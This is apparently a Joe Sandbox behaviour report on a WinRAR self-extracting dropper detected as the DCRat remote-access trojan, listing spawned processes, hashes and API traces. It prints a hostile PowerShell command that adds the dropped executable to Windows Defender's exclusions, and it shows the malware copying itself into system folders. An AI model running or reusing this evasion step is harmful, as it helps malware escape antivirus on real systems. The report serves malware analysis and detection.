Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\uAsLgsGzSk.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 8128, Parent PID: 8068

General

Target ID:	29
Start time:	01:57:19
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	01:57:19
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	01:57:21
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2K3wfCcSpW.bat"
Imagebase:	0x7ff6d03a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	01:57:21
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	01:57:21
Start date:	10/01/2025
Path:	C:\Recovery\uAsLgsGzSk.exe
Wow64 process (32bit):	false
Commandline:	C:\Recovery\uAsLgsGzSk.exe
Imagebase:	0x500000
File size:	2'639'872 bytes
MD5 hash:	C1CF39EF49B82B35938CA7A45DBCCEEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 68%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	01:57:21
Start date:	10/01/2025
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff6fb1e0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	01:57:21
Start date:	10/01/2025
Path:	C:\Recovery\uAsLgsGzSk.exe
Wow64 process (32bit):	false
Commandline:	C:\Recovery\uAsLgsGzSk.exe
Imagebase:	0xd10000
File size:	2'639'872 bytes
MD5 hash:	C1CF39EF49B82B35938CA7A45DBCCEEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	01:57:21
Start date:	10/01/2025
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff64bd10000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	01:57:26
Start date:	10/01/2025
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	01:57:27
Start date:	10/01/2025
Path:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\ShellExperiences\uAsLgsGzSk.exe"
Imagebase:	0xbc0000
File size:	2'639'872 bytes
MD5 hash:	C1CF39EF49B82B35938CA7A45DBCCEEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000002A.00000002.3042679176.000000000314D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 68%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	01:57:31
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.3%
Total number of Nodes:	1512
Total number of Limit Nodes:	28

Executed Functions

Function 0091DF1E Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 195
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00910863: GetModuleHandleW.KERNEL32(kernel32), ref: 0091087C
Part of subcall function 00910863: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0091088E
Part of subcall function 00910863: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 009108BF

Part of subcall function 0091A64D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 0091A655

Part of subcall function 0091AC16: OleInitialize.OLE32(00000000), ref: 0091AC2F
Part of subcall function 0091AC16: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0091AC66
Part of subcall function 0091AC16: SHGetMalloc.SHELL32(00948438), ref: 0091AC70

GetCommandLineW.KERNEL32 ref: 0091DF5C
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 0091DF83
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 0091DF94
UnmapViewOfFile.KERNEL32(00000000), ref: 0091DFCE

Part of subcall function 0091DBDE: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 0091DBF4
Part of subcall function 0091DBDE: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0091DC30

CloseHandle.KERNEL32(00000000), ref: 0091DFD7
GetModuleFileNameW.KERNEL32(00000000,0095EC90,00000800), ref: 0091DFF2
SetEnvironmentVariableW.KERNEL32(sfxname,0095EC90), ref: 0091DFFE
GetLocalTime.KERNEL32(?), ref: 0091E009
_swprintf.LIBCMT ref: 0091E048
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 0091E05A
GetModuleHandleW.KERNEL32(00000000), ref: 0091E061
LoadIconW.USER32(00000000,00000064), ref: 0091E078
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001B7E0,00000000), ref: 0091E0C9
Sleep.KERNEL32(?), ref: 0091E0F7
DeleteObject.GDI32 ref: 0091E130
DeleteObject.GDI32(?), ref: 0091E140
CloseHandle.KERNEL32 ref: 0091E183

Strings

%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 0091E039
STARTDLG, xrefs: 0091E0BE
sfxstime, xrefs: 0091E055
winrarsfxmappingfile.tmp, xrefs: 0091DF77
sfxname, xrefs: 0091DFF9
C:\Users\user\Desktop, xrefs: 0091DF33

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3049964643-3743209390
Opcode ID: 526211ed471f5bf31605e113f04231f87384cb1bf22713079d0d8d8a2b7ff238
Instruction ID: e6ab0039c85b250b5ad972d05a9fe06b63a2eb3388233741c70264b0f1ace5f5
Opcode Fuzzy Hash: 526211ed471f5bf31605e113f04231f87384cb1bf22713079d0d8d8a2b7ff238
Instruction Fuzzy Hash: 59613B7565C308BFD320ABB1EC49FAB77ECEB89705F000429F945921A1DB789E84DB61

Function 0091A6C2 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,0091B73D,00000066), ref: 0091A6D5
SizeofResource.KERNEL32(00000000,?,?,?,0091B73D,00000066), ref: 0091A6EC
LoadResource.KERNEL32(00000000,?,?,?,0091B73D,00000066), ref: 0091A703
LockResource.KERNEL32(00000000,?,?,?,0091B73D,00000066), ref: 0091A712
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,?,0091B73D,00000066), ref: 0091A72D
GlobalLock.KERNEL32(00000000), ref: 0091A73E
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 0091A762
GlobalUnlock.KERNEL32(00000000), ref: 0091A7C6

Part of subcall function 0091A626: GdipAlloc.GDIPLUS(00000010), ref: 0091A62C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 0091A7A7
GlobalFree.KERNEL32(00000000), ref: 0091A7CD

Strings

PNG, xrefs: 0091A6C6

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Global$Resource$AllocCreateGdipLock$BitmapFindFreeFromLoadSizeofStreamUnlock
String ID: PNG
API String ID: 211097158-364855578
Opcode ID: 5770f1457157d10a12dc93733834fc3935b4f4b5196ccbe622ee9600f3634056
Instruction ID: bc49977a7f7017fe45d7f0426ec18a418089679dc574705fc87201b6ded4674f
Opcode Fuzzy Hash: 5770f1457157d10a12dc93733834fc3935b4f4b5196ccbe622ee9600f3634056
Instruction Fuzzy Hash: DD31C275A49306AFC7109F61EC88D6B7BBCEF85761B004519F805C2261EB31DE84EEA1

Function 0090A69B Relevance: 7.6, APIs: 5, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,0090A592,000000FF,?,?), ref: 0090A6C4

Part of subcall function 0090BB03: _wcslen.LIBCMT ref: 0090BB27

FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,0090A592,000000FF,?,?), ref: 0090A6F2
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,0090A592,000000FF,?,?), ref: 0090A6FE
FindNextFileW.KERNEL32(?,?,?,?,?,?,0090A592,000000FF,?,?), ref: 0090A728
GetLastError.KERNEL32(?,?,?,?,0090A592,000000FF,?,?), ref: 0090A734

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next_wcslen
String ID:
API String ID: 42610566-0
Opcode ID: 70b49415db65ee759d86d4b6537f80750f957a2ed6dd7650406130fa253d28dc
Instruction ID: 56499426b39a628383a4d95c5af231ff484c0525e5e3a58028ea2a87713db97c
Opcode Fuzzy Hash: 70b49415db65ee759d86d4b6537f80750f957a2ed6dd7650406130fa253d28dc
Instruction Fuzzy Hash: 37414F72900619AFCB25DF68CC84AE9B7B8FB48350F148196F959D3250D7346E94DF90

Function 00927DEE Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00927DC4,00000000,0093C300,0000000C,00927F1B,00000000,00000002,00000000), ref: 00927E0F
TerminateProcess.KERNEL32(00000000,?,00927DC4,00000000,0093C300,0000000C,00927F1B,00000000,00000002,00000000), ref: 00927E16
ExitProcess.KERNEL32 ref: 00927E28

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 400971564aa4f00eeb234eaae5975060eba7d4ed8a44dd2908a7fe3e47c9d148
Instruction ID: 4a6e9b98f6cdfb343f1b1eec1c1a768d03602ed12d5d2392ac4fe61da0ce02aa
Opcode Fuzzy Hash: 400971564aa4f00eeb234eaae5975060eba7d4ed8a44dd2908a7fe3e47c9d148
Instruction Fuzzy Hash: 5EE04F31058154ABCF016F90ED09A497F6AEB40341B018454F8059A136CB35DE51EB90

Function 0090848E Relevance: 2.5, APIs: 1, Instructions: 960COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00908493

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 7238da1d00c6267e0adf52f86660e28343b209fcce57cde7b50ab9f598c8f422
Instruction ID: 51bdd6cc7aaca24522a6c989bfcf1781798ec0aaea6cbf2c0c281d4e825fcf9d
Opcode Fuzzy Hash: 7238da1d00c6267e0adf52f86660e28343b209fcce57cde7b50ab9f598c8f422
Instruction Fuzzy Hash: 4D820A71A04245AEDF15DB64C895BFBBBBDAF45300F0841B9E8D99B2C3DB315A84CB60

Function 0091B7E0 Relevance: 102.2, APIs: 48, Strings: 10, Instructions: 731windowfilesleepCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0091B7E5

Part of subcall function 00901316: GetDlgItem.USER32(00000000,00003021), ref: 0090135A
Part of subcall function 00901316: SetWindowTextW.USER32(00000000,009335F4), ref: 00901370

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0091B8D1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0091B8EF
IsDialogMessageW.USER32(?,?), ref: 0091B902
TranslateMessage.USER32(?), ref: 0091B910
DispatchMessageW.USER32(?), ref: 0091B91A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 0091B93D
KiUserCallbackDispatcher.NTDLL(?,00000001), ref: 0091B960
GetDlgItem.USER32(?,00000068), ref: 0091B983
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0091B99E
SendMessageW.USER32(00000000,000000C2,00000000,009335F4), ref: 0091B9B1

Part of subcall function 0091D453: _wcslen.LIBCMT ref: 0091D47D

SetFocus.USER32(00000000), ref: 0091B9B8
_swprintf.LIBCMT ref: 0091BA24

Part of subcall function 00904092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 009040A5

Part of subcall function 0091D4D4: GetDlgItem.USER32(00000068,0095FCB8), ref: 0091D4E8
Part of subcall function 0091D4D4: ShowWindow.USER32(00000000,00000005,?,?,?,0091AF07,00000001,?,?,0091B7B9,0093506C,0095FCB8,0095FCB8,00001000,00000000,00000000), ref: 0091D510
Part of subcall function 0091D4D4: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0091D51B
Part of subcall function 0091D4D4: SendMessageW.USER32(00000000,000000C2,00000000,009335F4), ref: 0091D529
Part of subcall function 0091D4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0091D53F
Part of subcall function 0091D4D4: SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 0091D559
Part of subcall function 0091D4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0091D59D
Part of subcall function 0091D4D4: SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 0091D5AB
Part of subcall function 0091D4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0091D5BA
Part of subcall function 0091D4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0091D5E1
Part of subcall function 0091D4D4: SendMessageW.USER32(00000000,000000C2,00000000,009343F4), ref: 0091D5F0

GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 0091BA68
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 0091BA90
GetTickCount.KERNEL32 ref: 0091BAAE
_swprintf.LIBCMT ref: 0091BAC2
GetLastError.KERNEL32(?,00000011), ref: 0091BAF4
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00000000,00000000,00000000,?), ref: 0091BB43
_swprintf.LIBCMT ref: 0091BB7C
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007104,winrarsfxmappingfile.tmp), ref: 0091BBD0
GetCommandLineW.KERNEL32 ref: 0091BBEA
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,?), ref: 0091BC47
ShellExecuteExW.SHELL32(0000003C), ref: 0091BC6F
Sleep.KERNEL32(00000064), ref: 0091BCB9
UnmapViewOfFile.KERNEL32(?,?,0000430C,?,00000080), ref: 0091BCE2
CloseHandle.KERNEL32(00000000), ref: 0091BCEB
_swprintf.LIBCMT ref: 0091BD1E
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0091BD7D
SetDlgItemTextW.USER32(?,00000065,009335F4), ref: 0091BD94
GetDlgItem.USER32(?,00000065), ref: 0091BD9D
GetWindowLongW.USER32(00000000,000000F0), ref: 0091BDAC
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0091BDBB
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0091BE68
_wcslen.LIBCMT ref: 0091BEBE
_swprintf.LIBCMT ref: 0091BEE8
SendMessageW.USER32(?,00000080,00000001,?), ref: 0091BF32
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 0091BF4C
GetDlgItem.USER32(?,00000068), ref: 0091BF55
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 0091BF6B
GetDlgItem.USER32(?,00000066), ref: 0091BF85
SetWindowTextW.USER32(00000000,0094A472), ref: 0091BFA7
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 0091C007
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0091C01A
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001B5C0,00000000,?), ref: 0091C0BD
EnableWindow.USER32(00000000,00000000), ref: 0091C197
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 0091C1D9

Part of subcall function 0091C73F: __EH_prolog.LIBCMT ref: 0091C744

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0091C1FD

Strings

<, xrefs: 0091BB84
STARTDLG, xrefs: 0091B801
-el -s2 "-d%s" "-sp%s", xrefs: 0091BB6B
"%s"%s, xrefs: 0091BD0D
winrarsfxmappingfile.tmp, xrefs: 0091BBA6
__tmp_rar_sfx_access_check_%u, xrefs: 0091BAB5
%s, xrefs: 0091BED8
@, xrefs: 0091BB91
C:\Users\user\Desktop, xrefs: 0091BBC9
LICENSEDLG, xrefs: 0091C0B2

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: Message$ItemSend$Text$Window$_swprintf$File$ErrorLast$DialogH_prologLongView_wcslen$CallbackCloseCommandCountCreateDispatchDispatcherEnableExecuteFocusHandleLineMappingModuleNameParamShellShowSleepTickTranslateUnmapUser__vswprintf_c_l
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 3445078344-2238251102
Opcode ID: ec0be37e8b367f2aae119cdc1ac9ff43ec2a3afeb80166228c27c1e928ef646a
Instruction ID: adee4c5c1bc9c0429996f1c0f49749abca1f56e345e63bf461a359fe45750812
Opcode Fuzzy Hash: ec0be37e8b367f2aae119cdc1ac9ff43ec2a3afeb80166228c27c1e928ef646a
Instruction Fuzzy Hash: C242E8B1A9824CBEEB219B70DD4AFFE377D9B42700F044059F644A60E2CBB55E84DB61

Function 00910863 Relevance: 52.8, APIs: 23, Strings: 7, Instructions: 316
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 0091087C
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0091088E
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 009108BF
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00910B69
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00910B83
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00910B93
ReadFile.KERNEL32(00000000,?,00007FFE,00933C7C,00000000), ref: 00910BB1
CloseHandle.KERNEL32(00000000), ref: 00910C09
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00910C1E
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,00933C7C,?,00000000,?,00000800), ref: 00910C72
GetFileAttributesW.KERNELBASE(?,?,00933C7C,00000800,?,00000000,?,00000800), ref: 00910C9C
GetFileAttributesW.KERNEL32(?,?,00933D44,00000800), ref: 00910CD8

Part of subcall function 0091081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00910836
Part of subcall function 0091081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0090F2D8,Crypt32.dll,00000000,0090F35C,?,?,0090F33E,?,?,?), ref: 00910858

_swprintf.LIBCMT ref: 00910D4A
_swprintf.LIBCMT ref: 00910D96

Part of subcall function 00904092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 009040A5

AllocConsole.KERNEL32 ref: 00910D9E
GetCurrentProcessId.KERNEL32 ref: 00910DA8
AttachConsole.KERNEL32(00000000), ref: 00910DAF
_wcslen.LIBCMT ref: 00910DC4
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00910DD5
WriteConsoleW.KERNEL32(00000000), ref: 00910DDC
Sleep.KERNEL32(00002710), ref: 00910DE7
FreeConsole.KERNEL32 ref: 00910DED
ExitProcess.KERNEL32 ref: 00910DF5

Strings

SetDefaultDllDirectories, xrefs: 009108B9
kernel32, xrefs: 00910873
dwmapi.dll, xrefs: 00910927, 00910D0D
SetDllDirectoryW, xrefs: 00910888
uxtheme.dll, xrefs: 00910D17
DXGIDebug.dll, xrefs: 009108FC, 00910C5E
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00910D84

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1207345701-3298887752
Opcode ID: 7a290c9895e00cb5a3dc4df38446a56b454a0635edbc61b414c280373b1e67ae
Instruction ID: e9f412e517c5e4bfebb6cedea0df8ff0711e62ae087ac4fde7ac65dcff926f4c
Opcode Fuzzy Hash: 7a290c9895e00cb5a3dc4df38446a56b454a0635edbc61b414c280373b1e67ae
Instruction Fuzzy Hash: E6D181B1188384AFD3309F50C849BDFBAECBBC5704F51891DF59996190CBB59688CFA2

Function 0091C73F Relevance: 47.7, APIs: 23, Strings: 4, Instructions: 428
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0091C744

Part of subcall function 0091B314: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 0091B3FB

_wcslen.LIBCMT ref: 0091CA0A
_wcslen.LIBCMT ref: 0091CA13
SetWindowTextW.USER32(?,?), ref: 0091CA71
